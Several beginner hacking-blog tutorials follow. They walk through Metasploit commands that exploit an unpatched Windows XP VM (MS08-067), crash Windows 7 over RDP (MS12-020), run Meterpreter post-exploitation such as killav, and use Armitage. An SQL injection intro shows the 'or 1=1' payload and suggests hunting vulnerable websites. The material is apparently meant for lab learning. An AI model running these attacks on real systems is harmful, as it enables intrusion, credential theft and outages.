Hacking Windows : Totally own it - Hollywood Style

Now while the real life hacking and the one in the movies might seem far from congruent, there is some similarity at least, and in this post, we'll get no shells, no meterpreter, no bullshit. We'll simply get the Windows XP desktop inside our Kali machine like we actually are on it. What we're actually getting is going to be something like this-

If you have any difficulty understanding whats going on, then that's because you skipped over 5 articles on penetration testing. You are recommended to go over last 3 atleast.

• Basics Of Pentesting
• External Sources about Pentesting
• Penetration Testing Level 1: Hacking Windows XP
• Penetration Testing Level 2:Post-exploitation of Windows XP
• Penetration Testing Level 3:Crashing Windows 7

Starting metasploit

You must be having Kali Linux installed, follow the link if you haven't already got Kali Linux.

After that, execute the following commands on terminal to get Metasploit running

service postgresql start

service metasploit start

msfconsole

After this, you metasploit framework will start.

Information Gathering

• Find IP of XP machine by running ipconfig on XP command prompt.
• Find IP of Kali machine by running ifconfig on Kali terminal.

Hacking XP 

Now execute the following code (without the msf> it is there by already) -

msf > use exploit/windows/smb/ms08_067_netapi

It selects the netapi ms08 exploit which is well known for Windows XP. Now execute the following (everything before > will already be there)

msf  exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/bind_tcp 

 Now execute a show options to get an idea what all values need to be filled.

msf  exploit(ms08_067_netapi) >show options

You will need the information gathered from Information Gathering step. Remember - XP -> Remote host (RHOST). This is all we need. Just enter the XP IP instead of 192.168.xxx.xxx

msf  exploit(ms08_067_netapi) > set RHOST 192.168.xxx.xxx

That would be all. Now type exploit and press enter.

msf  exploit(ms08_067_netapi) > exploit

If everything goes right, then you'll have a pretty much movie kind of remote connection working for you, and you'll be able to work stuff like you'd normally do if you had access to the machine.

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Introduction To Armitage in Kali : Hack without one line of code

Fast and easy hacking, that's what the official Armitage website is named as. And fast and easy hacking it is. It is not recommended starting your life as a penetration tester with Armitage. But after you know the basics of metasploit (which you do now), you can take a look at this great tool. And I've started to assume you have Kali Linux installed.

Installing Metasploit

Now metasploit is not distributed with Kali Linux (it was distributed with backtrack though). However, Kali has it on its repositories, and it can be easily downloaded and installed by executing-

apt-get install armitage

It will check dependencies and download the required file and install Armitage for you.  After its done, you can start armitage by using the following code-

service postgresql start

 service metasploit start

armitage

 You will get a screen like this. Let the settings be as they are, and click connect. You'll get a prompt like this (most of the time)

Now you'll see Armitage making some connection for you. For a short while it might show failure messages (Connection Refused), but after some time Armitage will start.

And you'll end up with a windows somewhat like this

Now while I do believe that the developer has succeeded in making a tool which permits me to say - "I'll take my leave, you can handle stuff from here", but I'd still go on for a while, helping you know some basic stuff before I take my leave.

Armitage Basics

Now the tough coding (honestly there wasn't anything tough about that) that you had to do with Metasploit, becomes as easy as a click on Armitage. Better yet, you can see exactly what line of code is actually executed when you do something with your mouse. As a start, you should do a quick scan with OS detect.

And while it does ask you to enter some stuff now, it is going to be pretty easy, you just have to follow the example given by armitage with some modification.

First do your old ifconfig on a new terminal to find you IP

ifconfig

 Notice that most of the time, the first 6 digits are 192.168. You have to figure out the next 3 digits. After that, you can enter the ip into the armitage window. Look at the sample it had provided, just copy that, and, replacing the 1 with 154 as in my case. You final code should be 192.168.154.0/24. The 0/24 means it'll look at all the IPs from 192.168.154.1 to 192.168.154.256. Actually it scans IP from 192.168.xxx.0 through 192.168.xxx.255. Most of the time, you'll find your host in this range, however, to include all IP from 192.168.0.0 to 192.168.255.255, you may use 192.168.0.0/16.

This is the automatically generated code after clicking OK.

Now, after a few seconds, you will see the following message, and it tells you exactly what you're supposed to do next.

Now a couple of computers with respective OS icons will show up on your screen. As expected, you'll have to go to Attacks -> Find attacks. There's no rocket science here, and I'm not putting any more screenshots. After that, right click on the computer you want to hack, and you'll see an attack option. Select whichever you want to try, enter the requisites (you learnt how to do Information gathering in the previous Metasploit tutorials). Everything will be quite easy, except for the fact that the exploits in attack section will be possible exploits, that might or might not work. If you're expecting a click to hack you a Windows 7 machine, then that's just not happening. It might work with an unpatched XP machine, a ms03_026_dcom might do the trick, or the netapi one. Good luck with playing around with this tool. And here's the official Armitage website (media section link, useful vids and pics there) where you might find some more guidance, though the tool doesn't need any.

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Penetration Testing : Crash Windows 7 Using Metasploit and Remote Desktop Connection Vulnerability

Crashing Windows 7

Now while the story so far has been smooth and cozy, it gets a bit tough from here on. For modern operating systems like Windows 7, there aren't any magical exploits like the ones we had for unpatched Windows XP machines. We had been able to hack Windows XP and try some meterpreter features on the exploited XP machine. However, when it comes to Windows 7, there aren't any direct exploits for gaining access to the machine. We can try some client side attacks, etc. Social engineering toolkit would be great for stuff like that. However, there is still one vulnerability that waits to be exploited. In Windows 7, there is a hole in the RDP port (3389) which can work over LAN as well as over the internet. Over the internet stuff can get a bit tougher, however on the LAN, this should be a piece of cake (if you have successfully followed out pentest tutorials so far).

Requirements

Now you will require an attacker Kali machine, and a victim Windows machine, both running on Virtual machines. Windows 7 should be a fresh install, with no updates, as they can patch the vulnerability, making it unexploitable. Now when you have got all this setup, you can move on to further steps.

Information Gathering

Now we'll have to find out the IP of out victim. This would have been complicated in a real life scenario, but in our case, you just go to Windows 7, open command prompt, and type ipconfig. You should be looking for IPv4 address of Local Area Network.

In our case thats where the information Gathering Stops

Starting Metasploit

Now execute the following commands to start metasploit framework (on recent versions of Kali, run only the third command, skip the first two)

service postgresql start

service metasploit start

msfconsole

So now you have msf console opened up (note my codes will still display root@kali but you don't mind it).

Exploit

Now select the exploit that we are going to be using-

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Now do a show options, it will tell you that  it only requires two options, RHOST and RPORT. Rport is obviously 3389, the remote desktop port. The RHOST is the one you found out in the information gathering step. The use the following code to set the RHOST

set RHOST 192.168.---.---

Surprising as it may seem, we are done already. Just type

exploit

The target machine will get a Blue Screen Of Death and will reboot. You can do this as many times as you feel like, and in real life scenario, it can be really annoying, considering it can be done over the internet too.

Possible Problems

 If you get an error of this sort, then most probably your Windows 7 machine has firewall enabled, and is blocking your packets. An antivirus could do the same thing. There might be some issues with the LAN connection too. A good diagnosis test would be to ping the machine. Go to a kali terminal and execute

ping 192.168.---.---

After waiting for a while, press ctrl + c which will stop the pinging. Look at the result-

 If you get something like this (0 packets received), then there is absolutely no communication between the Kali and Windows machine (in effect, they are not on the same network, even though they are). That's why the exploit doesn't work.

Something like this means that the connection is just fine, and probably the Windows machine has become immune to the attack due to some patch. (see : https://technet.microsoft.com/en-us/library/security/ms12-020.aspx)
If its the former case, then you'll have to find a way to get the connection working, and if its the latter, then try disabling firewall, antivirus, and maybe setting the network as home instead of public. Then go to advanced sharing settings, and choose all the options that you think will make your computer easier to hack.
If possible, see if you can uninstall installed updates. The final thing to do is to get an early unpatched release of Windows 7. In some cases installing VMware tools might help.

Enable Remote Desktop

In many Windows releases, remote desktop is turned off by default. To enable it, follow these steps-

Go to System (Control Panel\System and Security\System). Click on Remote settings. Select the "Allow Remote Connections to this computer" button. Click ok.

Select the allow option. By default don't allow is selected in many Windows releases.

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SQL Injection : How It Works

Introduction

Lets get started at an apparently unrelated point. Lets assume we create a table in SQL. Now there are three main parts of a database management system, like SQL. They are -

• Creating structure of table
• Entering data
• Making queries (and getting meaningful results from data)

So, when SQL is used to display data on a web page, it is common to let web users input their own queries. For example, if you go to a shopping website to buy a smartphone, you might want to specify what kind of smartphone you want. The site would probably be storing data about phones in table with columns like Name, Price, Company, Screen Size, OS, etc.
Now what they do is that they allow you to create a query using some sort of user friendly drop down based form which lets you select your budget, preferred company, etc. So basically, you, the user, can create queries and request data from their SQL servers without typing any code. 

This automated method of creating queries for you is relatively safe (since it doesn't give you a lot of flexibility in terms of what queries you can create, you are limited by the syntax of queries they have decided). However, there is another method of creating queries which can be exploited by us. 

A url ending in .php is a direct indication that the website/blog uses sql to deliver a lot of it's data, and that you can execute queries directly by changing the url. Usually the data in the SQL tables is protected and can be viewed directly only by certain people (admins etc.). However, when we send some rogue commands to the SQL server, it doesn't understand what to do, and returns an error.
This is a clear indication that with intelligent design of URLs, we can send queries that will make the database 'go berserk' and malfunction, and give us all the otherwise private data of its tables. This attack can be used to obtain confidential data like a list of username and passwords of all users on a website.

Steps

1. We have to find a website which is vulnerable to SQL injection (SQLi) attacks. Vulnerability has 2 criteria. Firstly, it has to allow execution of queries from the url, and secondly, it should show an error for some kind of query or the other. An error is an indication of a SQL vulnerability.
2. After we know that a site is vulnerable, we need to execute a few queries to know what all makes it act in an unexpected manner. Then we should obtain information about SQL version and the number of tables in database and columns in the tables.
3. Finally we have to extract the information from the tables.

Vulnerabilities are found using your own creativity along with famous dorks (more on this in a later tutorial)

For the 2nd and 3rd step, there are 2 ways to do them-

• Manually using some standard codes available online (and if you know SQL then you can figure most of the stuff out yourself). For example, you can instruct the database to give you all the data from a table by executing the command- 

SELECT * FROM Users WHERE UserId = 105 or 1=1

Now, while the first part of the query "UserID=105" may not be true for all user, the condition 1=1 will always be true. Basically the query asks the table to return all details of users for whom either user id = 105 or 1=1 (1 is always equal to 1, irrespective of the userId and all other factors). Effectively, you have the username and passwords and all other information about all the users of the website.

• Using some tool - Some tools help in making the process easier. You still have to use commands but using tools is much more practical after you have an idea what is actually happening. I don't recommend all the GUI Windows tools which are found on malware filled websites, and never work. All throughout this blog we have used Kali Linux, and if you really are serious about hacking, there is no reason not to have Kali Linux installed. In Kali Linux, there is a great tool called SQLMap that we'll be using.

Quick cool example

Now suppose you develop a web app. Here are the credentials for login-

Username : abcd

Password : xyz

Now, for login, you have the following condition:

if ("abcd" == Username and "xyz" == Password) 

    LoginSuccessful

else

    LoginFailed

Now if someone enters Username which is different from abcd or password which is different from xyz, then he won't be able to login. Seems to be fine.

But wait, if a person enter username as "pqr" or 1==1 and password as "wxy" or 1==1, your code would check credentials in the following way -

("abcd"=="pqr" or 1==1) and ("xyz" == "wxy" or 1==1)

Let's translate that into boolean. 1==1 is true obviously, abcd==pqr is not true, nor is xyz==wxy. So, we get,

(false or true) and (false or true)

which becomes

true and true

which becomes

true

So, the person logged into your web app without knowing the username or password.

PS: The example here grossly simplifies a lot of things, but taking care of all details would make this more complicated than it has to be for a first tutorial in SQL injection (coming tutorials are more syntactically correct).

The first command is legit and gives you access to data of srinivas only, and only in the condition where the password is correct. The second statement gives you access to data of all accounts.

That's it for this tutorial, you now know how SQL Injections work. It might be worth your time learning some SQL on W3schools till I come up with some other tutorial. Also, check out the navigation bar at the top of the blog to see if you find something that interests you. We have a lot of tutorials for beginners in the field of hacking.
If you would like to go ahead, then here is the next tutorial in the SQL injection series-

Hacking Websites Using SQL Injection Manually

Also, a tutorial on automated Sql injection is finally here. Take a look

Sql Injection Using sqlmap in kali linux

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Penetration Testing : Hacking Windows Using Metaploit and Meterpreter

Pentesting with Windows Using Metasploit

Now, in the previous tutorial, which was the first tutorial on practical penetration testing, we got our hacking lab setup and exploited our first victim machine, which was an unpatched and vulnerable Windows XP machine. Our attacker machine was Kali Linux, and we were using Metasploit Framework, the most best tool when it comes to penetration testing (pentesting). We used the MS08-dcom vulnerability, which is a very famous vulnerability in Windows XP. The fact that it is famous means that most of the Windows machines already have this vulnerability patched, which means it will not actually work on a real life system (unless its your grandpa's system, which does not have automatic updates enabled). Now in this tutorial we will move on to payload execution, and see what all we can do after we have successfully exploited a vulnerability. It's important that you go through the previous tutorial in order to understand this one, as I will not explain the steps on how to exploit a system.



I will only show you what to do after you have successfully exploited one. Here is the link-

Exploiting A Vulnerable Windows Machine Using Metasploit

The above link will also help you setup a penetration testing lab with an attacker machine (Kali linux), a victim machine (XP unpatched). Both will be virtual machines and will be created using VMware workstation.  Now assuming you have read the above tutorial and have successfully exploited an XP machine, you are ready to move from the tedious jobs to the fun ones.

For those who come from previous tutorial

You are most probably left with something like

C:\WINDOWS\system32>

Now this is exactly what you'll get if you start a command prompt shell in your XP. A command prompt shell is like the terminal in linux. From here you  can do stuff in non GUI mode. The command prompt can be started on a Windows machine ( will work on any version most probably). Type <Windows> + R. The windows key can be found between ctrl and alt, and looks like the windows logo. This will open the Run window.( If the key combination doesn't seem to work, figure out some other way to get the run windows. Alternatively you can open the task manager and click new task.) Now type cmd and press enter. You will see a black windows with title command prompt. This is exactly what you obtained in your Kali machine after you successfully completed previous tutorial. Now what you can do is move around, create and delete stuff etc. For example 'cd..' (no quotes) takes you one directly above where you already where. cd <name> takes you to the name folder in command prompt (if it exists). Now I can't really start teaching command prompt here, and it will be better if you google it up or go to this site about command prompt codes. After you have played enough, type exit and you'll leave the command prompt. You can now move on to a better payload than the shell_bind_tcp that we were using. We will use the meterpreter payload.

Steps you don't repeat

• Information gathering - You don't have to determine the IP addresses of target and victim computer again. They are the same.
• You don't have to specify the exploit again, however you can use a new exploit if you want to. I recommend that you use a new exploit as you have to take every opportunity to practice more and more stuff, specially when you just got started. We used exploit/windows/dcerpc/ms03_026_dcom. This time we will use netapi , i.e. exploit/windows/smb/ms08_067_netapi

Things that changed

• The PAYLOAD - We are using meterpreter payload instead of shell_bind_tcp. We will end up with something like meterpreter> instead of C:\WINDOWS\system32>. Once successful, meterpreter provides a lot of functionality.
• The payload requirements. All payloads require you to specify the port and IP of target (RHOST). However, some payloads require the IP of attacker machine too (LHOST). Use SHOW OPTIONS to figure out what all data your exploit needs. In the information gathering step you already obtained the IP and open ports of victim as well as your own IP. Use the SET command to assign whatever values you need to assign. All other SET commands will be same, other than 

SET LHOST 192.168.---.---

The screenshots below will help you through the process. I will make it even more detailed when I am able to get time.

Exploiting the machine

Here are a few screenshots to guide you through the process of exploiting the machine. I am not explaining anything, as you already know the details from the previous tutorial. The point I want you to notice is that I'm using a different payload and a different exploit this time. The payload is meterpreter (the best payload offered by metasploit, with a load of functionality) and the exploit is Netapi (works on the same MS08 vulnerability, just a different exploit). The exploit has been changed just for the sake of practice, and you are suggested to try out even more exploits (most of the times you'll fail, but keep trying). Here are the screens-

Victim's IP (Windows XP)

Attacker's IP (Kali Linux)

Starting the postgresql and metasploit services

Starting the metasploit framework

Selecting the exploit

Setting RHOST and PAYLOAD

Exploiting the XP target

So we finally have exploited the machine. Now the fun part begins

Post-exploitation fun : Using the payload features

To see a list of options provided by meterpreter, just type ?

meterpreter > ?

Getting to know the victim

Now lets do a basic sysinfo to see some info about the system we have just gained access to. Also, do a getuid to get information about the user that you are logged in as in the victim system, and the privilege the user (or you) have. And getpid will show you the process your payload is using, and ps lists all the processes running on the victim system.

meterpreter > sysinfo

meterpreter > getpid

meterpreter > getuid

meterpreter > ps

 Note: Making these code boxes is getting tedious some I'm gonna keep the code in bold. You guys help yourselves. (I'm lazy as hell)

A few random meterpreter run commands

You might also do a run checkvm to check if your target is running on a virtual machine.
To get a list of all applications installed on your victim machine, type run get_application_list.
To stop the antivirus on the victim, do a run killav. It will not work in practical cases, as killing an antivirus process can't possibly as easy as a single line of code. However, depending on your victim machine which you have chosen in this practice session, there are chances that it might work.

Conclusion

You just gotta try more commands. Most are fun.

That's it I guess. I'd leave you here. Explore other commands that you can execute, and comment if you find anything interesting. I'd keep adding stuff to this list whenever I get time.

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Getting Started With Penetration Testing

I see a lot of advice given to people when they ask the question "How do I get into pentesting?"

The answer usually goes like use metasploit / armitage and exploit vulnerable XP systems. This approach is incorrect. Not completely, since stuff that actually works is bound to be more interesting than boring theory, but it is definitely not gonna help you in the long run. To get into penetration testing and bug spotting you first need to know what you're looking for. Tools will only take you so far, personally I don't think you should automate your pentesting until you can do it manually. Now for the basic definitions of the terms related to penetration testing, here is the article you should be seeing this article which introduces you to basic penetration testing. Other than that, here are a few resources that you should see. While I'm condemning the method of directly moving on to using tools, ironically, that's what we are going to do from the next tutorial onward. So before we get started, here are a set of websites that you might want to check which will give you an idea of what manual work do the tools automate. This information will be valuable once you start Penetration Testing secure networks for big security firms. Automated tools are not gonna help there.

Important Resources

Sql Injection

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

Read more here

Cross-site Scripting

Cross-Site Scripting (XSS) attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

Read more here

Testing for Local File Inclusion

File Inclusion vulnerability allows an attacker to include a file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:

• Code execution on the web server
• Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
• Denial of Service (DoS)
• Sensitive Information Disclosure

Read more here and also here

Other useful links

Testing for User Enumeration

Cross site request forgery

And yeah, I promise the next post will be more interesting. :) And you'll be hacking your virtual vulnerable XP machine using Metasploit and do a lot of funny things with meterpreter payload.

Here's the link to the new post in which we hack a vulnerable XP machine using Metasploit. It will also get your hacking lab up and running.

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Penetration Testing for Beginners

Now, hackers come in all shapes, sizes and colors. Hacking is a very wide term. And by the first sentence, I'm not referring to the physical characters of the hackers, I'm talking about the field of specialization. Believe me, there is a lot of work to do on the Wireless domain that we had been working on so far (we have only touched wireless networks for the time being - you are a beginner), but wireless hacking is but a small island in the vast sea of hacking. A relatively large landmass is unarguably Penetration Testing, and a large name in this context is Metasploit. So here's a guide which will give you a good idea about what Penetration testing is, and if you're feeling to lazy, I've got it summarized here.

What is a penetration test?

What is penetration testing? Penetration testing, often called “pentesting”,“pen testing”, or “security testing”, is the practice of attacking your own or your clients’ IT systems in the same way a hacker would to identify security holes. Of course, you do this without actually harming the network. The person carrying out a penetration test is called a penetration tester or pentester.

How legal is it?

Let’s make one thing crystal clear: Penetration testing requires that you get permission from the person who owns the system. Otherwise, you would be hacking the system, which is illegal in most countries – and trust me, you don’t look good in an orange jump suit (or maybe you do, still I don't recommend going to jail for it, buy one if you need it).

In other words: The difference between penetration testing and hacking is whether you have the system owner’s permission. If you want to do a penetration test on someone else's system, it is highly recommended that you get written permission. Much better, get your virtual machine up and running, with your already acquired VMWare skills, and practice on your own system.

What is a vulnerability?

A vulnerability is a security hole in a piece of software, hardware or operating system that provides a potential angle to attack the system. A vulnerability can be as simple as weak passwords or as complex as buffer overflows or SQL injection vulnerabilities. (SQL injection is another topic I'd like to touch. Later maybe. I'm taking up too many tasks at hand at once.)

What is security research?

Vulnerabilities are typically found by security researchers, which is a geeky term for smart people (how much we hackers love to call our self smart, especially the beginners who get too cocky) who like to find flaws in systems and break them. 

What is an exploit?

To take advantage of a vulnerability, you often need an exploit, a small and highly specialized computer program whose only reason of being is to take advantage of a specific vulnerability and to provide access to a computer system. Exploits often deliver a payload to the target system to grant the attacker access to the system.

The Metasploit Project host the world’s largest public database of quality-assured exploits. Have a look at their exploit database – it’s right here on the site mentioned in the beginning of the article.

What is a payload?

A payload is the piece of software that lets you control a computer system after it’s been exploited. The payload is typically attached to and delivered by the exploit. Just imagine an exploit that carries the payload in its backpack when it breaks into the system and then leaves the backpack there. Yes, it’s a corny description, but you get the picture.

Metasploit’s most popular payload is called Meterpreter, which enables you to do all sorts of funky stuff on the target system. For example, you can upload and download files from the system, take screenshots, and collect password hashes. You can even take over the screen, mouse, and keyboard to fully control the computer. If you’re feeling particularly bad-ass, you can even turn on a laptop’s webcam and be a fly on the wall.

I would say that a payload is what exploits the 'exploit' and gives you some control over the exploited victim. Meterpreter is THE exploit, cause it doesn't give you 'some' control, it gives you ALL of it (that's some way to put it, yes,but not completely true. It still is the best payload. Beginners/noobs really enjoy the GUI feature available in this payload)

What to do next

Wait for more tutorials, or go ahead learning stuff without me. Not recommended, its gonna be a bumpy ride if you don't have us(I am only one person, why do I keep referring to myself as us?) to stabilize you. But still if you wanna go ahead, then Rapid7 is the best place to get started. Best of luck beginners.

Here is a list of related posts on this blog. You should most probably go in this order.

Penetration Testing Level 1: Hacking Windows XP (actual hacking here after the theory you read in this post- we'll help you setup a Kali Linux attack machine and Windows XP victim machine on VMware. Then wel will perform our first hack)
Penetration Testing Level 2:Post-exploitation of Windows XP
Penetration Testing Level 3:Crashing Windows 7
Armitage : Fast And Easy Hacking GUI
Windows XP : Hollywood Style Hack

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